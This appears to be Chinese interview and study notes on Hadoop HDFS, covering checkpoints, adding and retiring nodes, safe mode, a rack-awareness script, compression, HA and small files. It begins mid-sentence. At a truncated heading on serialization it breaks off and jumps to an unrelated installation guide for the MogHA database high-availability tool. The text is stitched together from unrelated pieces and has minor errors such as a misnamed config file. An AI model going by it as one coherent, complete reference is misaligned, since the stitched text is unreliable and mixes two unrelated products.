FileSystem向namenode请求下载文件,namenode通过查询元数据,找到文件块所在的datanode地址。2)挑选一台datanode(就近原则,然后随机)服务器,请求读取数据。3)datanode开始传输数据给客户端(从磁盘里面读取数据输入流,以packet为单位来做校验,大小为64k)。4)客户端以packet为单位接收,先在本地缓存,然后写入目标文件。作者:李小李的路checkpoint流程在hdfs-site.xml文件指定secondarynamenode部署在哪个机器上
<property>
<name>dfs.namenode.secondary.http-address</name>
<value>hdp02:50090</value>
</property>1.sn提醒nn做checkpoint2.nn上的edit_inprogress文件滚动生成edit_sum文件3.将edit_sum文件传给sn4.sn更新fsimage文件5.sn将文件写入磁盘6.将文件传给nn作用讲解:edit:NameNode在本地操作hdfs系统的文件都会保存在Edits日志文件中。也就是说当文件系统中的任何元数据产生操作时,都会记录在Edits日志文件中(增删改查)fsimage:存放的是一份最完整的元数据信息,内容比较大edit一直记录元数据操作记录的话,也会慢慢膨胀的比较大,也会造成操作起来比较困难为了控制edits不会膨胀太大,引入secondaryNameNode机制。ss主要作用合并edits和fsimage文件,清空edit元数据元数据的分类按形式分类:内存元数据和元数据文件;它们的存在的位置分别为:内存和磁盘上。其中内存元数据主要是hdfs文件目录的管理;元数据文件则用于持久化存储。按类型分,元数据主要包括:1、文件、目录自身的属性信息,例如文件名,目录名,修改信息等。2、文件记录的信息的存储相关的信息,例如存储块信息,分块情况,副本个数等。3、记录HDFS的Datanode的信息,用于DataNode的管理。参考:https://blog.csdn.net/qq_42586468/article/details/118176103https://www.cnblogs.com/yaoss/p/12398406.html1.9、SecondaryNameNode的作用 NameNode职责是管理元数据信息,DataNode的职责是负责数据具体存储,那么SecondaryNameNode的作用是什么?答:它的职责是合并NameNode的edit logs到fsimage文件。 每达到触发条件 [达到一个小时,或者事物数达到100万],会由secondary namenode将namenode上积累的所有edits和一个最新的fsimage下载到本地,并加载到内存进行merge(这个过程称为checkpoint),如下图所示:1.10、HDFS的扩容、缩容(面试)动态扩容 随着公司业务的增长,数据量越来越大,原有的datanode节点的容量已经不能满足存储数据的需求,需要在原有集群基础上动态添加新的数据节点。也就是俗称的动态扩容。 有时候旧的服务器需要进行退役更换,暂停服务,可能就需要在当下的集群中停止某些机器上hadoop的服务,俗称动态缩容。基础准备在基础准备部分,主要是设置hadoop运行的系统环境修改新机器系统hostname(通过/etc/sysconfig/network进行修改)修改hosts文件,将集群所有节点hosts配置进去(集群所有节点保持hosts文件统一)设置NameNode到DataNode的免密码登录(ssh-copy-id命令实现)修改主节点slaves文件,添加新增节点的ip信息(集群重启时配合一键启动脚本使用)在新的机器上上传解压一个新的hadoop安装包,从主节点机器上将hadoop的所有配置文件,scp到新的节点上。添加datanode在namenode所在的机器的/export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoop目录下创建dfs.hosts文件cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoop
vim dfs.hosts
添加如下主机名称(包含新服役的节点)
node-1
node-2
node-3
node-4
在namenode机器的hdfs-site.xml配置文件中增加dfs.hosts属性cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim hdfs-site.xml<property>
<name>dfs.hosts</name>
<value>/export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoop/dfs.hosts</value>
</property> dfs.hosts属性的意义:命名一个文件,其中包含允许连接到namenode的主机列表。必须指定文件的完整路径名。如果该值为空,则允许所有主机。相当于一个白名单,也可以不配置。在新的机器上单独启动datanode: hadoop-daemon.sh start datanode刷新页面就可以看到新的节点加入进来了datanode负载均衡服务新加入的节点,没有数据块的存储,使得集群整体来看负载还不均衡。因此最后还需要对hdfs负载设置均衡,因为默认的数据传输带宽比较低,可以设置为64M,即hdfs dfsadmin -setBalancerBandwidth 67108864即可默认balancer的threshold为10%,即各个节点与集群总的存储使用率相差不超过10%,我们可将其设置为5%。然后启动Balancer,sbin/start-balancer.sh -threshold 5,等待集群自均衡完成即可。添加nodemanager在新的机器上单独启动nodemanager:yarn-daemon.sh start nodemanager在ResourceManager,通过yarn node -list查看集群情况动态缩容添加退役节点在namenode所在服务器的hadoop配置目录etc/hadoop下创建dfs.hosts.exclude文件,并添加需要退役的主机名称。注意:该文件当中一定要写真正的主机名或者ip地址都行,不能写node-4node04.hadoop.com在namenode机器的hdfs-site.xml配置文件中增加dfs.hosts.exclude属性cd /export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoopvim hdfs-site.xml<property>
<name>dfs.hosts.exclude</name>
<value>/export/servers/hadoop-2.6.0-cdh5.14.0/etc/hadoop/dfs.hosts.exclude</value>
</property>dfs.hosts.exclude属性的意义:命名一个文件,其中包含不允许连接到namenode的主机列表。必须指定文件的完整路径名。如果值为空,则不排除任何主机。刷新集群在namenode所在的机器执行以下命令,刷新namenode,刷新resourceManager。hdfs dfsadmin -refreshNodesyarn rmadmin –refreshNodes等待退役节点状态为decommissioned(所有块已经复制完成),停止该节点及节点资源管理器。注意:如果副本数是3,服役的节点小于等于3,是不能退役成功的,需要修改副本数后才能退役。node-4执行以下命令,停止该节点进程cd /export/servers/hadoop-2.6.0-cdh5.14.0sbin/hadoop-daemon.sh stop datanodesbin/yarn-daemon.sh stop nodemanagernamenode所在节点执行以下命令刷新namenode和resourceManagerhdfs dfsadmin –refreshNodesyarn rmadmin –refreshNodesnamenode所在节点执行以下命令进行均衡负载cd /export/servers/hadoop-2.6.0-cdh5.14.0/sbin/start-balancer.sh1.11、HDFS安全模式 安全模式是HDFS所处的一种特殊状态,在这种状态下,文件系统只接受读数据请求,而不接受删除、修改等变更请求,是一种保护机制,用于保证集群中的数据块的安全性。 在NameNode主节点启动时,HDFS首先进入安全模式,集群会开始检查数据块的完整性。DataNode在启动的时候会向namenode汇报可用的block信息,当整个系统达到安全标准时,HDFS自动离开安全模式。手动进入安全模式hdfs dfsadmin -safemode enter手动离开安全模式hdfs dfsadmin -safemode leave1.12、机架感知 hadoop自身是没有机架感知能力的,必须通过人为的设定来达到这个目的。一种是通过配置一个脚本来进行映射;另一种是通过实现DNSToSwitchMapping接口的resolve()方法来完成网络位置的映射。1、写一个脚本,然后放到hadoop的core-site.xml配置文件中,用namenode和jobtracker进行调用。#!/usr/bin/python
#-*-coding:UTF-8 -*-
import sys
rack = {"hadoop-node-31":"rack1",
"hadoop-node-32":"rack1",
"hadoop-node-33":"rack1",
"hadoop-node-34":"rack1",
"hadoop-node-49":"rack2",
"hadoop-node-50":"rack2",
"hadoop-node-51":"rack2",
"hadoop-node-52":"rack2",
"hadoop-node-53":"rack2",
"hadoop-node-54":"rack2",
"192.168.1.31":"rack1",
"192.168.1.32":"rack1",
"192.168.1.33":"rack1",
"192.168.1.34":"rack1",
"192.168.1.49":"rack2",
"192.168.1.50":"rack2",
"192.168.1.51":"rack2",
"192.168.1.52":"rack2",
"192.168.1.53":"rack2",
"192.168.1.54":"rack2",
}
if __name__=="__main__":
print "/" + rack.get(sys.argv[1],"rack0")2、将脚本赋予可执行权限chmod +x RackAware.py,并放到bin/目录下。3、然后打开conf/core-site.html <property>
<name>topology.script.file.name</name>
<value>/opt/modules/hadoop/hadoop-1.0.3/bin/RackAware.py</value>
<!--机架感知脚本路径-->
</property>
<property>
<name>topology.script.number.args</name>
<value>20</value>
<!--机架服务器数量,由于我写了20个,所以这里写20-->
</property>4、重启Hadoop集群namenode日志2012-06-08 14:42:19,174 INFO org.apache.hadoop.hdfs.StateChange: BLOCK* NameSystem.registerDatanode: node registration from 192.168.1.49:50010 storage DS-1155827498-192.168.1.49-50010-1338289368956
2012-06-08 14:42:19,204 INFO org.apache.hadoop.net.NetworkTopology: Adding a new node: /rack2/192.168.1.49:50010
2012-06-08 14:42:19,205 INFO org.apache.hadoop.hdfs.StateChange: BLOCK* NameSystem.registerDatanode: node registration from 192.168.1.53:50010 storage DS-1773813988-192.168.1.53-50010-1338289405131
2012-06-08 14:42:19,226 INFO org.apache.hadoop.net.NetworkTopology: Adding a new node: /rack2/192.168.1.53:50010
2012-06-08 14:42:19,226 INFO org.apache.hadoop.hdfs.StateChange: BLOCK* NameSystem.registerDatanode: node registration from 192.168.1.34:50010 storage DS-2024494948-127.0.0.1-50010-1338289438983
2012-06-08 14:42:19,242 INFO org.apache.hadoop.net.NetworkTopology: Adding a new node: /rack1/192.168.1.34:50010
2012-06-08 14:42:19,242 INFO org.apache.hadoop.hdfs.StateChange: BLOCK* NameSystem.registerDatanode: node registration from 192.168.1.54:50010 storage DS-767528606-192.168.1.54-50010-1338289412267
2012-06-08 14:42:49,492 INFO org.apache.hadoop.hdfs.StateChange: STATE* Network topology has 2 racks and 10 datanodes
2012-06-08 14:42:49,492 INFO org.apache.hadoop.hdfs.StateChange: STATE* UnderReplicatedBlocks has 0 blocks
2012-06-08 14:42:49,642 INFO org.apache.hadoop.hdfs.server.namenode.FSNamesystem: ReplicateQueue QueueProcessingStatistics: First cycle completed 0 blocks in 0 msec
2012-06-08 14:42:49,642 INFO org.apache.hadoop.hdfs.server.namenode.FSNamesystem: ReplicateQueue QueueProcessingStatistics: Queue flush completed 0 blocks in 0 msec processing time, 0 msec clock time, 1 cycles
1.13、其他1.13.1、数据存储在hdfs格式,使用的什么压缩方式,压缩比多少目前在Hadoop中用得比较多的有lzo ,gzip ,snappy , bzip2这4种压缩格式,笔者根据实践经验介绍一 下这4种压缩格式的优缺点和应用场景,以便大家在实践中根据实际情况选择不同的压缩格式。1.gzip压缩优点:压缩率比较高,而且压缩/解压速度也比较快;hadoop本身支持,在应用中处理gzip格式的文件就和直接处理文本一样; 有hadoop native库;大部分linux系统都自带gzip命令,使用方便。缺点:不支持split。应用场景:当每个文件压缩之后在130M以内的(1个块大小内),都可以考虑用gzip压缩格式。譬如说 一天或者一个小时的日志压缩成一个gzip文件,运行mapreduce程序的时候通过多个gzip文 件达到并发。hive程序, streaming程序,和java写的mapreduce程序完全和文本处理一样,压缩之后原来 的程序不需要做任何修改。2.lzo压缩优点:压缩/解压速度也比较快,合理的压缩率;支持split,是hadoop中最流行的压缩格式;支持hadoop native库;可以在linux系统下安装lzop命令,使用方便。缺点:压缩率比gzip要低一些;hadoop本身不支持,需要安装;在应用中对lzo格式的文件需要做一些特殊处理(为了支持split需要建索引,还需要指定inputformat为lzo格式)。应用场景:一个很大的文本文件,压缩之后还大于200M以上的可以考虑,而且单个文件越大, lzo优点越 明显。3.snappy压缩优点:高速压缩速度和合理的压缩率;支持hadoop native库。缺点:不支持split;压缩率比gzip要低;hadoop本身不支持,需要安装;linux系统下没有对应的命令。应用场景:当mapreduce作业的map输出的数据比较大的时候,作为map到reduce的中间数据的压缩格 式;或者作为一个mapreduce作业的输出和另外一个mapreduce作业的输入。5. bzip2压缩优点:支持split;具有很高的压缩率,比gzip压缩率都高;hadoop本身支持,但不支持native;在linux系统下自带bzip2命令,使用方便。缺点:压缩/解压速度慢;不支持native。应用场景:适合对速度要求不高,但需要较高的压缩率的时候,可以作为mapreduce作业的输出格式; 或者输出之后的数据比较大,处理之后的数据需要压缩存档减少磁盘空间并且以后数据用得比 较少的情况;或者对单个很大的文本文件想压缩减少存储空间,同时又需要支持split,而且兼容之前的应用 程序(即应用程序不需要修改)的情况。1.13.2、高可用的集群中namenode宕机了,怎么恢复的首先进入安全模式:
hdfs dfsadmin -safemode enter
然后刷一下active节点的log到image
hdfs dfsadmin -saveNamespace
然后将active节点的image文件全部拷贝到故障节点的相应目录下
然后重启故障namenode
最后hdfs namenode -bootstrapStandby
到此,故障解决。
后来还解决过一次hdfs的block丢失的问题,也是将原先的image全部拷贝回来搞定的。 所以说,即便有ha,定期备份image文件还是很重要的。
1.13.3、hdfs的瓶颈1.fsimage加载阶段,主要耗时的操作:1.1) FSDirectory.addToParent(),功能是根据路径path生成节点INode,并加入目录树中,占加载 时间的73%;1.2) FSImage.readString和PermissionStatus.read操作是从fsimage的文件流中读取数据(分别 是读取String和short)的操作,分别占加载时间的15%和8%;优化方案:对fsimage的持久化操作采用多线程技术,为目录列表中的每个目录存储开辟一个线 程,用来存储fsimage文件。主线程等待所有存储的子线程完毕后完成对fsimage加载。这样,存 储时间将取决于存储最慢的那个线程,达到了提高fsimage加载速度的目的,从而在一定程度上提 升了NameNode启动速度。2.blockReport阶段, DataNode在启动时通过RPC调用NameNode.blockReport()方法, 主要耗时操 作:2.1) FSNamesystem.addStoredBlock调用,对每一个汇报上来的block,将其于汇报上来的 datanode的对应关系初始化到namenode内存中的BlocksMap表中,占用时间比为77%;此方法 中主要耗时的两个阶段分别是FSNamesystem.countNode和DatanodeDescriptor.addBlock,后 者是java中的插表操作,而FSNamesystem.countNode调用的目的是为了统计在BlocksMap中, 每一个block对应的各副本中,有几个是live状态,几个是decommission状态,几个是Corrupt状 态。2.2) DatanodeDescriptor.reportDiff,主要是为了将该datanode汇报上来的blocks跟 namenode内存中的BlocksMap中进行对比,以决定那个哪些是需要添加到BlocksMap中的 block,哪些是需要添加到toRemove队列中的block,以及哪些是添加到toValidate队列中的 block,占用时间比为20%;3.锁的竞争成为性能瓶颈优化方案:其中锁内耗时的操作有FSEditLog.logXXX方法,可以考虑将FSEditLog的logXXX操作放 到写锁外记录,但会引起记录的顺序不一致,可以通过在写锁内生成SerialNumber,在锁外按顺 序输出来解决;4.UTF8/Unicode转码优化成为性能瓶颈优化方案:用SIMD指令的JVM Intrinsic转码实现, 32bytes比目前Hadoop内pure Java实现快4 倍,64bytes快十几倍。5.RPC框架中, N个Reader将封装的Call对象放入一个BlockingQueue , N个Handler从一个 BlockingQueue中提取Call对象,使得此BlockingQueue成为性能瓶颈优化方案:采用多队列,一个Handler一个BlockingQueue,按callid分配队列。6.sendHeartbeat阶段,在DataNode调用namenode.sendHeartbeat()方法时会DF和DU两个类, 它们通过Shell类的runComamnd方法来执行系统命令,以获取当前目录的 df, du 值,在 runComamnd方法中实质是通过java.lang. ProcessBuilder类来执行系统命令的。该类由JVM通过 Linux 内核来fork 子进程,子进程当然会完全继承父进程的所有内存句柄, jstack看到JVM此时线 程状态大部分处于WAITING , 这个过程会影响DFSClient写入超时,或关闭流出错。1.13.4、hdfs存放文件量过大怎么优化1.那么可以通过调用 HDFS 的 sync() 方法(和 append 方法结合使用),每隔一定时间生成一个大文 件。或者,可以通过写一个 MapReduce 程序来来合并这些小文件。2.HAR FileHadoop Archives ( HAR files)是在 0.18.0 版本中引入到 HDFS 中的,它的出现就是为了缓解大 量小文件消耗 NameNode 内存的问题。 HAR 文件是通过在 HDFS 上构建一个分层文件系统来工 作。 HAR 文件通过 hadoop archive 命令来创建,而这个命令实际上是运行 MapReduce 作业来将 小文件打包成少量的 HDFS 文件(译者注:将小文件进行合并成几个大文件)。对于客户端来说, 使用 HAR 文件系统没有任何的变化:所有原始文件都可见以及可以访问(只是使用 har://URL,而 不是 hdfs://URL),但是在 HDFS 中中文件个数却减少了。读取 HAR 文件不如读取 HDFS 文件更有效,并且实际上可能更慢,因为每个 HAR 文件访问需要读 取两个索引文件以及还要读取数据文件本。尽管 HAR 文件可以用作 MapReduce 的输入,但是 Map 没有办法直接对共同驻留在 HDFS 块上的 HAR 所有文件操作。可以考虑通过创建一种 input format,充分利用 HAR 文件的局部性优势,但 是目前还没有这种input format。需要注意的是: MultiFileInputSplit,即使在 HADOOP-4565 进 行了改进,选择节点本地分割中的文件,但始终还是需要每个小文件的搜索。在目前看来, HAR 可 能最好仅用于存储文档。3.SequenceFile通常解决”小文件问题”的回应是:使用 SequenceFile。这种方法的思路是,使用文件名作为 key, 文件内容作为 value在实践中这种方式非常有效。我们回到10,000个100KB大小的小文件问题上,你可以编写一个程序 将合并为一个 SequenceFile,然后你可以以流式方式处理(直接处理或使用 MapReduce) SequenceFile。这样会带来两个优势:SequenceFiles 是可拆分的,因此 MapReduce 可以将它们分成块,分别对每个块进行操作;与 HAR 不同,它们支持压缩。在大多数情况下,块压缩是最好的选择,因为它直接对几个记录组 成的块进行压缩,而不是对每一个记录进行压缩。将现有数据转换为 SequenceFile 可能会很慢。但是,完全可以并行创建一个一个的 SequenceFile 文件。 Stuart Sierra 写了一篇关于将 tar 文件转换为 SequenceFile 的文章,像这样的工具是非常 有用的,我们应该多看看。向前看,最好设计好数据管道,如果可能的话,将源数据直接写入 SequenceFile ,而不是作为中间步骤写入小文件。与 HAR 文件不同,没有办法列出 SequenceFile 中的所有键,所以不能读取整个文件。 Map File, 类似于对键进行排序的 SequenceFile,维护部分索引,所以他们也不能列出所有的键1.13.5、HDFS小文件问题及解决方案小文件是指文件size小于HDFS上block大小的文件。这样的文件会给hadoop的扩展性和性能带来严重问题。首先,在HDFS中,任何block,文件或者目录在内存中均以对象的形式存储,每个对象约占150byte,如果有1000 0000个小文件,每个文件占用一个block,则namenode大约需要2G空间。如果存储1亿个文件,则namenode需要20G空间。这样namenode内存容量严重制约了集群的扩展。其次,访问大量小文件速度远远小于访问几个大文件。HDFS最初是为流式访问大文件开发的,如果访问大量小文件,需要不断的从一个datanode跳到另一个datanode,严重影响性能。最后,处理大量小文件速度远远小于处理同等大小的大文件的速度。每一个小文件要占用一个task,而task启动将耗费大量时间甚至大部分时间都耗费在启动task和释放task上。对于小文件问题,Hadoop本身也提供了几个解决方案,分别为:Hadoop Archive,Sequence file和CombineFileInputFormat。1.Hadoop Archive: Hadoop Archive或者HAR,是一个高效地将小文件放入HDFS块中的文件存档工具,它能够将多个小文件打包成一个HAR文件,这样在减少namenode内存使用的同时,仍然允许对文件进行透明的访问。HAR是在Hadoop file system之上的一个文件系统,因此所有fs shell命令对HAR文件均可用,只不过是文件路径格式不一样使用HAR时需要两点,第一,对小文件进行存档后,原文件并不会自动被删除,需要用户自己删除;第二,创建HAR文件的过程实际上是在运行一个mapreduce作业,因而需要有一个hadoop集群运行此命令。此外,HAR还有一些缺陷:第一,一旦创建,Archives便不可改变。要增加或移除里面的文件,必须重新创建归档文件。第二,要归档的文件名中不能有空格,否则会抛出异常,可以将空格用其他符号替换2. sequence file :sequence file由一系列的二进制key/value组成,如果为key小文件名,value为文件内容,则可以将大批小文件合并成一个大文件。3.CombineFileInputFormat:CombineFileInputFormat是一种新的inputformat,用于将多个文件合并成一个单独的split1.13.6、HDFS高可用(HA)高可用原理所谓HA,即高可用(7*24小时不中断服务),实现高可用最关键的是消除单点故障HDFS 的 HA 就是通过双namenode 来防止单点问题,一旦主NameNode出现故障,可以迅速切换至备用的 NameNode。两个namenode有不同的状态,状态分别是Active和Standby。(备用) Namenode作为热备份,在机器发生故障时能够快速进行故障转移,同时在日常维护的时候进行Namenode切换。HDFS HA的几大重点1)保证两个namenode里面的内存中存储的文件的元数据同步
->namenode启动时,会读镜像文件
2)变化的记录信息同步
3)日志文件的安全性
->分布式的存储日志文件(cloudera公司提出来的)
->2n+1个,使用副本数保证安全性
->使用zookeeper监控
->监控两个namenode,当一个出现了问题,可以达到自动故障转移。
->如果出现了问题,不会影响整个集群
->zookeeper对时间同步要求比较高。
4)客户端如何知道访问哪一个namenode
->使用proxy代理
->隔离机制
->使用的是sshfence
->两个namenode之间无密码登录
5)namenode是哪一个是active
->zookeeper通过选举选出zookeeper。
->然后zookeeper开始监控,如果出现文件,自动故障转移。HDFS HA的实现流程主Namenode处理所有的操作请求,而Standby只是作为slave,主要进行同步主Namenode的状态,保证发生故障时能够快速切换,并且数据一致。为了两个 Namenode数据保持同步,两个Namenode都与一组Journal Node进行通信。当主Namenode进行任务的namespace操作时,都会同步修改日志到Journal Node节点中。Standby Namenode持续监控这些edit,当监测到变化时,将这些修改同步到自己的namespace。当进行故障转移时,Standby在成为Active Namenode之前,会确保自己已经读取了Journal Node中的所有edit日志,从而保持数据状态与故障发生前一致。为了确保故障转移能够快速完成,Standby Namenode需要维护最新的Block位置信息,即每个Block副本存放在集群中的哪些节点上。为了达到这一点,Datanode同时配置主备两个Namenode,并同时发送Block报告和心跳到两台Namenode。任何时刻集群中只有一个Namenode处于Active状态,否则可能出现数据丢失或者数据损坏。当两台Namenode都认为自己的Active Namenode时,会同时尝试写入数据。为了防止这种脑裂现象,Journal Nodes只允许一个Namenode写入数据,内部通过维护epoch数来控制,从而安全地进行故障转移。1.13.7、Hadoop切片机制一个超大文件在HDFS上存储时,是以多个Block存储在不同的节点上,比如一个512M的文件,HDFS默认一个Block为128M,那么512M的文件分成4个Block存储在集群中4个节点上。Hadoop在map阶段处理上述512M的大文件时分成几个MapTask进行处理呢?Hadoop的MapTask并行度与数据切片有有关系,数据切片是对输入的文件在逻辑上进行分片,对文件切成多少份,Hadoop就会分配多少个MapTask任务进行并行执行该文件,原理如下图所示。Block与Splite区别:Block是HDFS物理上把数据分成一块一块;数据切片只是在逻辑上对输入进行分片,并不会在磁盘上将其切分成片进行存储。如下图所示,一个512M的文件在HDFS上存储时,默认一个block为128M,那么该文件需要4个block进行物理存储;若对该文件进行切片,假设以100M大小进行切片,该文件在逻辑上需要切成6片,则需要6个MapTask任务进行处理。TextInputFormat切片机制切片方式:TextInputFormat是默认的切片机制,按文件规划进行切分。比如切片默认为128M,如果一个文件为200M,则会形成两个切片,一个是128M,一个是72M,启动两个MapTask任务进行处理任务。但是如果一个文件只有1M,也会单独启动一个MapTask执行此任务,如果是10个这样的小文件,就会启动10个MapTask处理小文件任务。读取方式:TextInputFormat是按行读取文件的每条记录,key代表读取的文件行在该文件中的起始字节偏移量,key为LongWritable类型;value为读取的行内容,不包括任何行终止符(换行符/回车符), value为Text类型,相当于java中的String类型。CombineTextInputFormat切片机制如果要处理的任务中含有很多小文件,采用默认的TextInputFormat切片机制会启动多个MapTask任务处理文件,浪费资源。CombineTextInputFormat用于处理小文件过多的场景,它可以将多个小文件从逻辑上切分到一个切片中。CombineTextInputFormat在形成切片过程中分为虚拟存储过程和切片过程两个过程。(1)虚拟存储过程将输入目录下所有文件大小,依次和设置的setMaxInputSplitSize值比较,如果不大于设置的最大值,逻辑上划分一个块。如果输入文件大于设置的最大值且大于两倍,那么以最大值切割一块;当剩余数据大小超过设置的最大值且不大于最大值2倍,此时将文件均分成2个虚拟存储块(防止出现太小切片)。例如setMaxInputSplitSize值为4M,输入文件大小为8.02M,则先逻辑上分成一个4M。剩余的大小为4.02M,如果按照4M逻辑划分,就会出现0.02M的小的虚拟存储文件,所以将剩余的4.02M文件切分成(2.01M和2.01M)两个文件。(2)切片过程判断虚拟存储的文件大小是否大于setMaxInputSplitSize值,大于等于则单独形成一个切片;如果不大于则跟下一个虚拟存储文件进行合并,共同形成一个切片。1.13.8、Hadoop序列化和反序列化
9 MogHA
一、 软件讲解 1. 关于MogHA MogHA 是云和恩墨基于 MogDB 同步异步流复制技术自研的一款保障数据库主备集群高可用的企业级软件系统(适用于 MogDB 和openGauss 数据库)MogHA 能够自主探测故障实现故障转移,虚拟IP自动漂移等特性,使得数据库的故障持续时间从分钟级降到秒级(RPO=0,RTO<30s),确保数据库集群的高可用服务。 2. 为什么数据库支持主备,还需要 MogHA 首先我们需要理解一下什么是高可用,高可用的目的是为了让数据库尽可能提供连续服务,以保证上层业务的稳定运行。数据库虽然支持主备库的部署结构,其目的是防止单点故障。但数据库并不提供故障检测以及自动化切换主备的功能,这也不属于数据库的处理范畴。所以需要有 MogHA 这样的一套高可用系统,来保证数据库服务的连续性。 3. 功能特性 自主发现数据库实例角色自主故障转移支持网络故障检测支持磁盘故障检测虚拟IP自动漂移感知双主脑裂,自动选主数据库进程和CPU绑定HA自身进程高可用支持单机并行部署多套 MogHA支持 x86_64 和aarch64 4. 系统架构  5. 支持的模式 (1) Lite 模式 (推荐) Lite 模式,顾名思义即轻量级模式,该模式仅需在主库和一台同步备机器上启动MogHA 服务,此时 MogHA 服务可以保证这两台机器上数据库实例的高可用,当主库发生不可修复的问题或者网络隔离时,MogHA 可以自主地进行故障切换和虚拟IP漂移。  (2) Full 模式 Full模式相较于 lite 模式,需要在所有实例机器上运行 MogHA 服务,且所有的实例有由 MogHA 来自动管理,当出现主库故障时,会优先选择本机房同步备进行切换,如果本机房同步备也是故障的情况,会选择同城备机房的同步备进行切换。为了达到RPO=0,MogHA 不会选择异步备库进行切换,以防止数据丢失。该模式会在主备切换时,会自动修改数据库的复制连接及同步备列表配置。 举例:两地三中心【1主6备】  二、 安装部署 1. 安装包下载 请前往[发布记录](https://docs.mogdb.io/zh/mogha/v2.3/release-notes)页面下载 mogha-2.3.0 对应平台的安装包2. 安装包文件说明 3. 系统环境要求 (1) gsql, gs_ctl 免密执行 请确认服务器上用数据库安装用户登录时,执行 gsql 或gs_ctl 时无需输入密码。可以在数据库数据目录中,找到的 pg_hba.conf 认证文件,确认本地连接的校验方式为 trust。 检验方式:切换到 omm 用户下,执行下面的命令不需要输入密码即可查询到集群状态: ```s
gs_ctl -D [PGDATA] query
``` (2) 数据库安装用户的 sudo 权限 由于 MogHA 需要自动挂虚拟IP的操作,内部需要通过 ifconfig 指令来操作网卡,MogHA 是通过数据库安装用户进行启动的,要想执行网卡操作就需要 sudo 权限,在安装期间脚本会检查 /etc/sudoers 配置中是否配置了运行用户的权限,如果存在就跳过配置,如果没有,会尝试自动的将 omm 用户添加到 /etc/sudoers 中,并赋予 ifconfig 的权限。 所以建议在部署 MogHA 服务之前,先检查一下/etc/sudoers 中是否成功配置了 运行用户的 sudo 权限。 配置方式参考: ```s追加下列 1 行到文件末尾omm ALL=(ALL) NOPASSWD: /usr/sbin/ifconfig
``` (3) MogHA通信端口互通MogHA 需要一个固定的端口(默认为 8081,可配置,修改配置文件中的 agent_port)用于不同节点的 MogHA 之间通信,所以需确认要配置的端口可以在节点直接互相访问。 (4) 校对时间 使用 ntp 或 chronyd 校对主库和备库的时间。 4. 安装步骤 ! 注意:安装过程请使用 root 用户进行操作,涉及到给数据库安装用户sudo权限以及注册系统服务。 将安装包拷贝到要部署 MogHA 的服务器上,存放位置建议选择/opt 或 /home/[USER] 下,以 omm 用户为例,存放目录为 /home/omm/,**为了便于演示,后面不再声明,默认使用该目录进行演示。** (1) 解压缩安装包 ```s
cd /home/omm
tar -zxf mogha-2.x.x.tar.gz
``` 解压后会在当前目录下得到一个 mogha 的文件夹。 (2) 安装MogHA服务 进入 mogha 文件夹,执行安装脚本:sudo ./install.sh USER PGDATA [SERVICE_NAME](注意替换参数) USER 是指数据库安装用户,在本例中指 omm 用户PGDATA 是指数据库数据目录,本例中假设 MogDB 的数据目录为 /opt/mogdb/dataSERVICE_NAME [可选参数] 注册systemd 时的服务名,默认:mogha" 以下是安装过程示例(如果安装过程出错会终止后面的安装步骤): ```s进入刚刚解压后的文件夹cd /home/omm/mogha执行安装脚本sudo ./install.sh omm /opt/mogdb/data 安装过程,输出类似以下内容[2021-10-30 14:29:36]: MogHA installation directory:/home/omm/mogha
[2021-10-30 14:29:36]: runtime user:omm, user group:dbgrp
[2021-10-30 14:29:36]: PGDATA=/opt/mogdb/data
[2021-10-30 14:29:36]: LD_LIBRARY_PATH=/opt/mogdb/app/lib:/opt/mogdb/tool/lib:/opt/huawei/install/om/lib:/opt/huawei/install/om/script/gspylib/clib:
[2021-10-30 14:29:36]: GAUSSHOME=/opt/mogdb/app
[2021-10-30 14:29:36]: database port: 26000
[2021-10-30 14:29:36]: architecture:aarch64
[2021-10-30 14:29:36]: modify owner for installation dir...
[2021-10-30 14:29:36]: generate mogha.service file...
[2021-10-30 14:29:36]: copy mogha.service to /usr/lib/systemd/system/
[2021-10-30 14:29:36]: reload systemd
[2021-10-30 14:29:37]: mogha service register successful
[2021-10-30 14:29:37]: add sudo permissions to omm
[2021-10-30 14:29:37]: add successful: NOPASSWD:/usr/sbin/ifconfig
[2021-10-30 14:29:37]: not found node.conf in current directory, generate it
node.conf generated,location:/home/omm/mogha/node.conf
[2021-10-30 14:29:37]: MogHA install successful!
Please edit /home/omm/mogha/node.conf first before start MogHA service!!!
Manage MogHA service by systemctl command:
Start service: sudo systemctl start mogha
Stop service: sudo systemctl stop mogha
Restart service:sudo systemctl restart mogha
Uninstall MogHA service command:
sudo ./uninstall.sh mogha
``` 从安装脚本执行的输出结果可以大概看出安装的流程,安装成功的标志是看到输出的最后打印出了『**MogHA 安装成功!』**语句。其他情况,需根据实际情况,检查安装步骤哪里出错。 如果正常执行完安装脚本后,期间生成一个新文件: node.conf: HA 配置文件(如已存在则不会生成),需要用户自行补充填写实例和机房信息 5. 完善node.conf 配置 执行完安装脚本后,不要立即启动 MogHA 服务,我们需要先完善一下配置文件再启动服务。 当第一次安装的时候,node.conf 是没有的,安装脚本会根据node.conf.tmpl 模板文件自动生成一份 node.conf, 得到该文件后,参考[配置文件](https://docs.mogdb.io/zh/mogha/v2.3/configuration-file)的介绍,完善您的机器和机房配置信息。 6. 管理 MogHA 服务 请确认您已经配置完成 node.conf 以后,就可以通过systemctl 指令来管理 MogHA 服务了。 如果执行安装脚本时指定了 SERVICE_NAME , 后续操作的服务名需替换为自定义的服务名。 (1) 启动服务```s
sudo systemctl start mogha
``` (2) 查看服务状态```s
sudo systemctl status mogha
● mogha.service - MogHA High Available Service
Loaded: loaded (/usr/lib/systemd/system/mogha.service; disabled; vendor preset: disabled)
Active: active (running) since Thu 2021-11-18 22:48:51 CST; 5 days ago
Docs: https://docs.mogdb.io/zh/mogha/v2.0/installation-and-depolyment
Main PID: 193849 (mogha-2.2.3-dev)
Tasks: 55
Memory: 1.5G
CGroup: /system.slice/mogha.service
├─ 193849 /home/omm/mogha/mogha-2.3.0-aarch64 -c /home/omm/mogha/node.conf
├─ 193862 mogha: watchdog
├─ 193863 mogha: http-server
└─ 193864 mogha: heartbeat
``` (3) 设置开机自启```s
sudo systemctl enable mogha
``` (4) 重启MogHA服务```s
sudo systemctl restart mogha
``` (3) 停止MogHA服务```s
sudo systemctl stop mogha
``` 7. 卸载MogHA软件 进入安装目录,执行卸载脚本即可:```s
cd /home/omm/mogha
sudo ./uninstall.sh
